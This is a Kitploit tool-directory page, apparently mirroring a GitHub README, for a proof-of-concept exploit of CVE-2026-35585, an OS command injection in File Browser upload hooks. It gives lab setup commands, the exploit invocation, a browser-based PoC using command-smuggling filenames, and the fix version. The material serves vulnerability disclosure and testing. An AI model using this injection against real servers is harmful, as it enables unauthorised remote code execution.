Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-35585-poc — Exploit de preuve de concept pour CVE-2026-35585, une vulnérabilité d'injection de commandes système dans File Browser (versions 2.0.0 à 2.33.1). Inclut des scripts PoC en Python et basés sur navigateur pour l'exécution de code à distance via des téléchargements de fichiers malveillants. | Kitploit
Outils/GitHubGitHub/saku0512/cve-2026-35585-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubsaku0512/cve-2026-35585-poc

CVE-2026-35585-poc

Voir le dépôt
1il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Exploit de preuve de concept pour CVE-2026-35585, une vulnérabilité d'injection de commandes système dans File Browser (versions 2.0.0 à 2.33.1). Inclut des scripts PoC en Python et basés sur navigateur pour l'exécution de code à distance via des téléchargements de fichiers malveillants.

Partager

CVE-2026-35585: PoC d'injection de commandes OS dans File Browser

English version

Aperçu

Ce dépôt est une preuve de concept (PoC) de la vulnérabilité critique d'injection de commandes OS CVE-2026-35585 découverte dans File Browser (versions 2.0.0 à 2.33.1).

Cette vulnérabilité se trouve dans la fonctionnalité « Custom Command Hooks ». Lors de l'exécution du shell, les variables d'environnement telles que $FILE et $USERNAME ne sont pas suffisamment assainies, ce qui permet à un utilisateur authentifié disposant de droits de téléchargement de fichiers d'exécuter des commandes arbitraires sur le système hôte en utilisant un nom de fichier malveillant.

Découvert par : saku0512 (https://github.com/Saku0512)


⚠️ Avertissement

Ce projet est destiné uniquement à des fins éducatives et de tests de sécurité éthiques.

L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages ou d'activités illégales liés à cet outil. L'accès non autorisé à des systèmes informatiques est illégal. En utilisant ce logiciel, vous acceptez de n'effectuer des tests de sécurité que dans des environnements pour lesquels vous avez obtenu une autorisation explicite.


Détails de la vulnérabilité

  • CVE ID: CVE-2026-35585
  • Type : Injection de commandes OS (CWE-78)
  • Impact : Exécution de code à distance (RCE)
  • Versions concernées : v2.0.0 <= File Browser <= v2.33.1
  • Version corrigée : v2.33.8

Cause racine

Dans File Browser, un administrateur peut configurer des hooks tels que « After Upload ». Lorsque ces hooks sont exécutés, l'application lance une commande shell et remplace des variables comme $FILE par le nom de fichier réel. Si le nom de fichier contient des métacaractères shell tels que ;, &, |, ils ne sont pas correctement échappés et sont exécutés par le shell système.


Preuve de concept (Utilisation)

Cette section décrit les étapes pour reproduire l'exécution de code à distance (RCE) à l'aide de l'environnement fourni et du script d'exploitation.

1. Configuration de l'environnement et initialisation

Utilisez Docker Compose pour lancer l'environnement vulnérable (File Browser v2.33.1). La première fois que data/filebrowser.db n'existe pas, initialisez d'abord la base de données de File Browser avant de configurer les hooks.

root@kitploit:~
# data ディレクトリに適切な権限を設定
mkdir -p data && sudo chown -R 1000:1000 data

# DBを初期化
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db

# admin / admin ユーザーを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db

# shell に "sh -c" を設定
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db

# After Upload コマンドを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db

# コンテナを起動
docker compose up -d

Si data/filebrowser.db existe déjà, config init n'est pas nécessaire. Si l'utilisateur admin existe déjà, réinitialisez le mot de passe avec la commande suivante au lieu de users add.

root@kitploit:~
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db

Si vous devez modifier la configuration des hooks après le démarrage du conteneur, exécutez docker compose stop pour éviter le verrouillage SQLite, puis exécutez les commandes de configuration, et enfin docker compose start.

2. Exécution de l'exploit

Exécutez le script exploit.py pour automatiser la connexion et le téléchargement d'un fichier malveillant. La commande suivante tente de créer un fichier nommé pwned_rce_test dans le répertoire /tmp du conteneur.

root@kitploit:~
# 依存関係をインストール
pip install requests

# exploit を実行
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"

3. Vérification

Vérifiez que le fichier a été créé dans le conteneur pour confirmer que la commande a été exécutée avec succès.

root@kitploit:~
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test

Si le fichier existe, la RCE est confirmée.


PoC navigateur (avec guide)

Le script exploit.py existant peut être utilisé tel quel. Si vous souhaitez une expérience plus interactive avec File Browser, vous pouvez utiliser le guide du PoC navigateur fourni.

1. Lancer File Browser et configurer les hooks

Exécutez la section « 1. Configuration de l'environnement et initialisation » ci-dessus pour pouvoir vous connecter à File Browser à l'adresse http://localhost:8080.

2. Lancer le guide du PoC navigateur

root@kitploit:~
python3 browser_poc.py

Ouvrez l'adresse suivante dans votre navigateur :

root@kitploit:~
http://127.0.0.1:8090/

3. Suivre le guide pour la vérification

  1. Target : Vérifiez l'accessibilité de http://localhost:8080.
  2. Login : Connectez-vous avec admin / admin et obtenez le token de l'API File Browser.
  3. Payload : Par défaut, génère un nom de fichier payload qui exécute id > /srv/pwned_browser_rce.txt.
  4. Trigger : Téléchargez un fichier avec un nom malveillant pour déclencher le hook After Upload.
  5. Verify : Lisez /srv/pwned_browser_rce.txt via l'API File Browser et vérifiez le résultat de la RCE dans l'interface.

Étant donné que /srv est monté sur ce dépôt dans docker-compose.yml, le fichier pwned_browser_rce.txt sera également créé sur l'hôte en cas de succès.


Mesures correctives

Mettez à jour File Browser vers la version 2.33.8 ou ultérieure. Dans la version corrigée, la fonctionnalité de hooks est désactivée par défaut et l'expansion des variables est traitée de manière plus sécurisée.


Liens de référence

  • CVE-2026-35585 (cve.org)
  • Avis officiel GitHub
Télécharger l’outil